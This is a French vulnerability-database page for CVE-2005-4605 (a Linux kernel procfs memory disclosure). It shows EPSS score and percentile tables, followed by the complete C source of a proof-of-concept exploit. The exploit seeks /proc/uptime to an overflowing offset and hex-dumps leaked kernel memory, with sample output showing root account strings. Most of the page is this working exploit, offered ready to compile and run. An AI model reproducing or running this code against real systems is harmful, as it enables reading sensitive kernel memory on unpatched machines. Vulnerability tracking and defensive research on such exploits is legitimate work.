CVE-2005-4605 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.67%	–	–
2022-02-13	–	–	4.67%	–	–
2022-04-03	–	–	4.67%	–	–
2022-08-28	–	–	4.67%	–	–
2023-03-12	–	–	–	0.08%	–
2023-06-11	–	–	–	0.08%	–
2024-02-11	–	–	–	0.08%	–
2024-03-31	–	–	–	0.08%	–
2024-06-02	–	–	–	0.08%	–
2024-08-11	–	–	–	0.08%	–
2024-11-24	–	–	–	0.08%	–
2025-02-02	–	–	–	0.08%	–
2025-01-19	–	–	–	0.08%	–
2025-02-02	–	–	–	0.08%	–
2025-03-18	–	–	–	–	1.06%
2025-03-18	–	–	–	–	1.06,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	74%
2022-02-13	75%
2022-04-03	88%
2022-08-28	89%
2023-03-12	32%
2023-06-11	33%
2024-02-11	32%
2024-03-31	33%
2024-06-02	34%
2024-08-11	35%
2024-11-24	36%
2025-02-02	37%
2025-01-19	36%
2025-02-02	37%
2025-03-18	76%
2025-03-18	76%

/* * cve-2005-4605.c * * Linux Kernel < 2.6.14.6 procfs Kernel Memory Disclosure * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4605 * * The procfs code (proc_misc.c) in Linux 2.6.14.3 and other versions before * 2.6.15 allows attackers to read sensitive kernel memory via unspecified * vectors in which a signed value is added to an unsigned value. * * Usage: * * $ gcc cve-2005-4605.c -o cve-2005-4605 * $ ./cve-2005-4605 * [+] Opened /proc/uptime. * [+] Seek to offset 4294963199. * [+] Read 4096 bytes, dumping to stdout... * ... * ... 00 00 00 00 11 00 00 00 ................................ * ... 3a 30 3a 72 6f 6f 74 00 localhost.......root.x.0:0:root. * ... 0d 00 00 00 dc 91 0f 08 /root./bin/bash.....@........... * ... bc af 0e 08 00 00 00 00 ............p................... * ... * * Notes: * * This one is _ancient_, but str0ke requested it! ;-) */ #define _FILE_OFFSET_BITS 64 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <stdbool.h> #include <unistd.h> #include <string.h> #include <inttypes.h> #include <limits.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #define DUMP 4096 #define PROC "/proc/uptime" #define TYPE_SIGNED(t) (! ((t) 0 < (t) -1)) #define TYPE_MAX(t) ((t) (! TYPE_SIGNED (t) ? (t) -1 : ~ (~ (t) 0 << (sizeof (t) * CHAR_BIT - 1)))) const char hex_asc[] = "0123456789abcdef"; #define hex_asc_lo(x) hex_asc[((x) & 0x0f)] #define hex_asc_hi(x) hex_asc[((x) & 0xf0) >> 4] void hex_dump_to_buffer(const void *buf, size_t len, int rowsize, int groupsize, char *linebuf, size_t linebuflen, bool ascii) { const uint8_t *ptr = buf; uint8_t ch; int j, lx = 0; int ascii_column; if (rowsize != 16 && rowsize != 32) rowsize = 16; if (!len) goto nil; if (len > rowsize) len = rowsize; if ((len % groupsize) != 0) groupsize = 1; switch (groupsize) { case 8: { const uint64_t *ptr8 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%16.16llx ", (unsigned long long)*(ptr8 + j)); ascii_column = 17 * ngroups + 2; break; } case 4: { const uint32_t *ptr4 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%8.8x ", *(ptr4 + j)); ascii_column = 9 * ngroups + 2; break; } case 2: { const uint16_t *ptr2 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%4.4x ", *(ptr2 + j)); ascii_column = 5 * ngroups + 2; break; } default: for (j = 0; (j < rowsize) && (j < len) && (lx + 4) < linebuflen; j++) { ch = ptr[j]; linebuf[lx++] = hex_asc_hi(ch); linebuf[lx++] = hex_asc_lo(ch); linebuf[lx++] = ' '; } ascii_column = 3 * rowsize + 2; break; } if (!ascii) goto nil; while (lx < (linebuflen - 1) && lx < (ascii_column - 1)) linebuf[lx++] = ' '; for (j = 0; (j < rowsize) && (j < len) && (lx + 2) < linebuflen; j++) linebuf[lx++] = (isascii(ptr[j]) && isprint(ptr[j])) ? ptr[j] : '.'; nil: linebuf[lx++] = '\0'; } void print_hex_dump(int rowsize, int groupsize, const void *buf, size_t len, bool ascii) { const uint8_t *ptr = buf; int i, linelen, remaining = len; unsigned char linebuf[200]; if (rowsize != 16 && rowsize != 32) rowsize = 16; for (i = 0; i < len; i += rowsize) { linelen = ((remaining) < (rowsize) ? (remaining) : (rowsize)); remaining -= rowsize; hex_dump_to_buffer(ptr + i, linelen, rowsize, groupsize, linebuf, sizeof(linebuf), ascii); printf("%s\n", linebuf); } } int main(void) { int fd, ret; char buf[DUMP]; off_t seek, offset=TYPE_MAX(off_t); memset(buf, 0, sizeof(buf)); fd = open(PROC, O_RDONLY); if (fd == -1) { printf("[-] Error during open(2)\n"); exit(1); } printf("[+] Opened " PROC ".\n"); seek = lseek(fd, offset-DUMP, SEEK_SET); if (seek == -1) { printf("[-] Error during lseek(2).\n"); exit(1); } printf("[+] Seek to offset %lld.\n", seek); ret = read(fd, buf, DUMP); if (ret == -1) { printf("[-] Error during read(2).\n"); exit(1); } if (ret == 0) { printf("[-] read(2) return 0 bytes, your kernel may not be vulnerable.\n"); exit(1); } printf("[+] Read %d bytes, dumping to stdout...\n\n", ret); sleep(3); print_hex_dump(32, 1, buf, ret, 1); return 0; } // milw0rm.com [2009-08-05]